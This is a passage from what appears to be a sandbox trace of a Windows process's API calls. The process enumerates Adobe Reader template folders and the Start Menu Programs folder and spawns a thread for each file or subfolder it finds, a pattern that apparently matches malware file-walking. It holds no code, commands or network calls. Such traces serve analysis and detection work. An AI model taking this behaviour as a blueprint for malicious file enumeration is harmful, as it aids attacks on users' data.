Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" [0159.311] wcscat (in: _Dest=0x935248, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\" [0159.311] wcscat (in: _Dest=0x935248, _Source="DefaultID.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" [0159.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18 [0159.312] FindNextFileW (in: hFindFile=0x9426b0, lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0159.312] FindClose (in: hFindFile=0x9426b0 | out: hFindFile=0x9426b0) returned 1 [0159.312] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ce18) returned 1 [0159.312] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6a28) returned 1 [0159.313] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7d68) returned 1 Thread: id = 3974 os_tid = 0x126c [0156.353] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7178 [0156.353] wcscpy (in: _Dest=0x8e7178, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" [0156.353] wcscat (in: _Dest=0x8e7178, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\" [0156.353] wcscat (in: _Dest=0x8e7178, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*" [0156.353] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91ed60 [0156.353] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942b70 [0157.218] wcscmp (_String1=".", _String2=".") returned 0 [0157.218] FindNextFileW (in: hFindFile=0x942b70, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.218] wcscmp (_String1="..", _String2=".") returned 1 [0157.218] wcscmp (_String1="..", _String2="..") returned 0 [0157.218] FindNextFileW (in: hFindFile=0x942b70, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16097, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0157.218] wcscmp (_String1="AdobeID.pdf", _String2=".") returned 1 [0157.218] wcscmp (_String1="AdobeID.pdf", _String2="..") returned 1 [0157.218] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9ad668 [0157.218] wcscpy (in: _Dest=0x9ad668, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" [0157.218] wcscat (in: _Dest=0x9ad668, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\" [0157.218] wcscat (in: _Dest=0x9ad668, _Source="AdobeID.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" [0159.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ad668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0159.307] FindNextFileW (in: hFindFile=0x942b70, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15db2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0159.307] wcscmp (_String1="DefaultID.pdf", _String2=".") returned 1 [0159.307] wcscmp (_String1="DefaultID.pdf", _String2="..") returned 1 [0159.307] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x9347c8 [0159.307] wcscpy (in: _Dest=0x9347c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" [0159.307] wcscat (in: _Dest=0x9347c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\" [0159.307] wcscat (in: _Dest=0x9347c8, _Source="DefaultID.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" [0159.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9347c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0159.309] FindNextFileW (in: hFindFile=0x942b70, lpFindFileData=0x91ed60 | out: lpFindFileData=0x91ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15db2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0159.309] FindClose (in: hFindFile=0x942b70 | out: hFindFile=0x942b70) returned 1 [0159.309] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ed60) returned 1 [0159.309] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7178) returned 1 [0159.309] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8780) returned 1 Thread: id = 3975 os_tid = 0x1270 [0156.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7dd8 [0156.354] wcscpy (in: _Dest=0x8e7dd8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" [0156.354] wcscat (in: _Dest=0x8e7dd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\" [0156.354] wcscat (in: _Dest=0x8e7dd8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*" [0156.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91e3c0 [0156.354] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", lpFindFileData=0x91e3c0 | out: lpFindFileData=0x91e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942a30 [0157.217] wcscmp (_String1=".", _String2=".") returned 0 [0157.217] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x91e3c0 | out: lpFindFileData=0x91e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.217] wcscmp (_String1="..", _String2=".") returned 1 [0157.217] wcscmp (_String1="..", _String2="..") returned 0 [0157.217] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x91e3c0 | out: lpFindFileData=0x91e3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10913, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0157.217] wcscmp (_String1="AdobeID.pdf", _String2=".") returned 1 [0157.217] wcscmp (_String1="AdobeID.pdf", _String2="..") returned 1 [0157.217] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9ad348 [0157.217] wcscpy (in: _Dest=0x9ad348, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" [0157.217] wcscat (in: _Dest=0x9ad348, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\" [0157.217] wcscat (in: _Dest=0x9ad348, _Source="AdobeID.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" [0161.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ad348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1290 [0161.151] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x91e3c0 | out: lpFindFileData=0x91e3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x103f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0161.151] wcscmp (_String1="DefaultID.pdf", _String2=".") returned 1 [0161.151] wcscmp (_String1="DefaultID.pdf", _String2="..") returned 1 [0161.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x9349c0 [0161.151] wcscpy (in: _Dest=0x9349c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" [0161.151] wcscat (in: _Dest=0x9349c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\" [0161.151] wcscat (in: _Dest=0x9349c0, _Source="DefaultID.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" [0161.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9349c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128c [0161.152] FindNextFileW (in: hFindFile=0x942a30, lpFindFileData=0x91e3c0 | out: lpFindFileData=0x91e3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x103f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0161.152] FindClose (in: hFindFile=0x942a30 | out: hFindFile=0x942a30) returned 1 [0161.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91e3c0) returned 1 [0161.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7dd8) returned 1 [0161.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7680) returned 1 Thread: id = 3990 os_tid = 0x12c0 [0156.364] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99de88 [0156.364] wcscpy (in: _Dest=0x99de88, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0156.364] wcscat (in: _Dest=0x99de88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0156.364] wcscat (in: _Dest=0x99de88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*" [0156.364] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912bc8 [0156.364] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941d70 [0156.365] wcscmp (_String1=".", _String2=".") returned 0 [0156.365] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.365] wcscmp (_String1="..", _String2=".") returned 1 [0156.365] wcscmp (_String1="..", _String2="..") returned 0 [0156.365] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0156.365] wcscmp (_String1="Accessories", _String2=".") returned 1 [0156.365] wcscmp (_String1="Accessories", _String2="..") returned 1 [0156.365] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c75ca0 [0156.365] wcscpy (in: _Dest=0x12c75ca0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0156.365] wcscat (in: _Dest=0x12c75ca0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0156.365] wcscat (in: _Dest=0x12c75ca0, _Source="Accessories" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0161.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12c75ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ac [0161.154] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0161.154] wcscmp (_String1="Administrative Tools", _String2=".") returned 1 [0161.154] wcscmp (_String1="Administrative Tools", _String2="..") returned 1 [0161.154] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x935b78 [0161.154] wcscpy (in: _Dest=0x935b78, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0161.154] wcscat (in: _Dest=0x935b78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0161.154] wcscat (in: _Dest=0x935b78, _Source="Administrative Tools" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0161.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1288 [0161.156] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c01860, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x989, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0161.156] wcscmp (_String1="Adobe Reader X.lnk", _String2=".") returned 1 [0161.156] wcscmp (_String1="Adobe Reader X.lnk", _String2="..") returned 1 [0161.156] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0161.156] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0161.156] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0161.156] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Games", cAlternateFileName="")) returned 1 [0161.156] wcscmp (_String1="Games", _String2=".") returned 1 [0161.156] wcscmp (_String1="Games", _String2="..") returned 1 [0161.156] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7680 [0161.156] wcscpy (in: _Dest=0x8f7680, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0161.156] wcscat (in: _Dest=0x8f7680, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0161.156] wcscat (in: _Dest=0x8f7680, _Source="Games" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games" [0161.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f7680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1284 [0161.158] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0161.158] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1 [0161.158] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1 [0161.158] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0161.158] wcscmp (_String1="Java", _String2=".") returned 1 [0161.158] wcscmp (_String1="Java", _String2="..") returned 1 [0161.158] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f81a8 [0161.158] wcscpy (in: _Dest=0x8f81a8, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0161.158] wcscat (in: _Dest=0x8f81a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0161.158] wcscat (in: 